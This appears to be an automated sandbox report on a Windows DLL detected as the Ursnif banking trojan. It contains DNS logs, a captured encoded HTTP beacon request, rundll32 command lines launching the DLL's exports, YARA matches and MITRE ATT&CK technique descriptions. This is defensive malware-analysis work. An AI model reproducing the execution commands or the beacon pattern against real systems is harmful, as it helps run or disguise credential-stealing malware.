Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:51.070379019 CEST	8.8.8.8	192.168.2.5	0xed2a	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	HHN-efz.ms-acdc.office.com		40.101.137.98	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	HHN-efz.ms-acdc.office.com		52.98.175.18	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.34	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:53.382605076 CEST	8.8.8.8	192.168.2.5	0x696b	No error (0)	HHN-efz.ms-acdc.office.com		52.97.150.2	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:54.047828913 CEST	8.8.8.8	192.168.2.5	0xf187	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:54.047828913 CEST	8.8.8.8	192.168.2.5	0xf187	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:54.047828913 CEST	8.8.8.8	192.168.2.5	0xf187	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:54.047828913 CEST	8.8.8.8	192.168.2.5	0xf187	No error (0)	HHN-efz.ms-acdc.office.com		52.97.233.2	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:54.047828913 CEST	8.8.8.8	192.168.2.5	0xf187	No error (0)	HHN-efz.ms-acdc.office.com		52.98.171.242	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:54.047828913 CEST	8.8.8.8	192.168.2.5	0xf187	No error (0)	HHN-efz.ms-acdc.office.com		52.98.151.226	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:54.047828913 CEST	8.8.8.8	192.168.2.5	0xf187	No error (0)	HHN-efz.ms-acdc.office.com		52.98.152.162	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.612906933 CEST	8.8.8.8	192.168.2.5	0x2e0a	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.325242996 CEST	8.8.8.8	192.168.2.5	0x6302	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:57.325242996 CEST	8.8.8.8	192.168.2.5	0x6302	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:57.325242996 CEST	8.8.8.8	192.168.2.5	0x6302	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:57.325242996 CEST	8.8.8.8	192.168.2.5	0x6302	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:57.325242996 CEST	8.8.8.8	192.168.2.5	0x6302	No error (0)	FRA-efz.ms-acdc.office.com		52.97.152.210	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.325242996 CEST	8.8.8.8	192.168.2.5	0x6302	No error (0)	FRA-efz.ms-acdc.office.com		40.101.19.146	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.325242996 CEST	8.8.8.8	192.168.2.5	0x6302	No error (0)	FRA-efz.ms-acdc.office.com		40.101.83.194	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.574337959 CEST	8.8.8.8	192.168.2.5	0x49fa	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:57.574337959 CEST	8.8.8.8	192.168.2.5	0x49fa	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:57.574337959 CEST	8.8.8.8	192.168.2.5	0x49fa	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 7, 2021 10:42:57.574337959 CEST	8.8.8.8	192.168.2.5	0x49fa	No error (0)	FRA-efz.ms-acdc.office.com		52.97.144.2	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.574337959 CEST	8.8.8.8	192.168.2.5	0x49fa	No error (0)	FRA-efz.ms-acdc.office.com		52.97.163.2	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.574337959 CEST	8.8.8.8	192.168.2.5	0x49fa	No error (0)	FRA-efz.ms-acdc.office.com		52.97.188.66	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

outlook.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49721	40.97.116.82	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 7, 2021 10:42:51.274972916 CEST	1487	OUT	GET /grower/b1FUosZSinX/D_2FTo28i4eES3/o1nX6HvoNr7JCqEB2TBDy/3reac2cOKkFxPa3C/uHqcEARrcPcZDk3/M6E_2BTZS_2BVaLqj4/34AYxwikF/REm_2FMb1QNTSjBFb_2F/tvRFv4olV4RM6PFjWcs/Yxi4zCvrQiijB3JFDfkmao/_2Ff4LrwOirbu/dGY1O2o_/2BPYCJyNgelsd4Jc6x2/N.grow HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: outlook.com Connection: Keep-Alive
Jul 7, 2021 10:42:51.455990076 CEST	1488	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.com/grower/b1FUosZSinX/D_2FTo28i4eES3/o1nX6HvoNr7JCqEB2TBDy/3reac2cOKkFxPa3C/uHqcEARrcPcZDk3/M6E_2BTZS_2BVaLqj4/34AYxwikF/REm_2FMb1QNTSjBFb_2F/tvRFv4olV4RM6PFjWcs/Yxi4zCvrQiijB3JFDfkmao/_2Ff4LrwOirbu/dGY1O2o_/2BPYCJyNgelsd4Jc6x2/N.grow Server: Microsoft-IIS/10.0 request-id: 52e0a7cb-8602-91df-81c1-2dcb70efe4dd X-FEServer: MWHPR13CA0006 X-RequestId: 2526dedc-1dff-46a1-8916-d76af6eb2525 X-Powered-By: ASP.NET X-FEServer: MWHPR13CA0006 Date: Wed, 07 Jul 2021 08:42:51 GMT Connection: close Content-Length: 0

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 2248 Parent PID: 5648

General

Start time:	10:41:12
Start date:	07/07/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\5.dll'
Imagebase:	0x1170000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.496928044.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445570350.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445487547.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445636875.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445602533.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445524931.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445456909.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445424230.0000000003328000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.445650161.0000000003328000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: cmd.exe PID: 5484 Parent PID: 2248

General

Start time:	10:41:12
Start date:	07/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\5.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 1716 Parent PID: 2248

General

Start time:	10:41:13
Start date:	07/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\5.dll,Clockcondition
Imagebase:	0x960000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 452 Parent PID: 5484

General

Start time:	10:41:13
Start date:	07/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\5.dll',#1
Imagebase:	0x960000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.451946137.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.452051043.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.452023874.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.452000205.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.451869538.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.452038744.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000002.498068878.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.451977445.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.451921011.0000000004D18000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: rundll32.exe PID: 2940 Parent PID: 2248

General

Start time:	10:41:17
Start date:	07/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\5.dll,Dogwhen
Imagebase:	0x960000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 3904 Parent PID: 2248

General

Start time:	10:41:23
Start date:	07/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\5.dll,Sing
Imagebase:	0x960000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 5580 Parent PID: 2248

General

Start time:	10:41:28
Start date:	07/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\5.dll,Wholegray
Imagebase:	0x960000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: iexplore.exe PID: 1900 Parent PID: 792

General

Start time:	10:42:47
Start date:	07/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff762e70000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: iexplore.exe PID: 3220 Parent PID: 1900

General

Start time:	10:42:48
Start date:	07/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17410 /prefetch:2
Imagebase:	0xf40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: iexplore.exe PID: 5264 Parent PID: 1900

General

Start time:	10:42:53
Start date:	07/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1900 CREDAT:17418 /prefetch:2
Imagebase:	0xf40000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 5.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph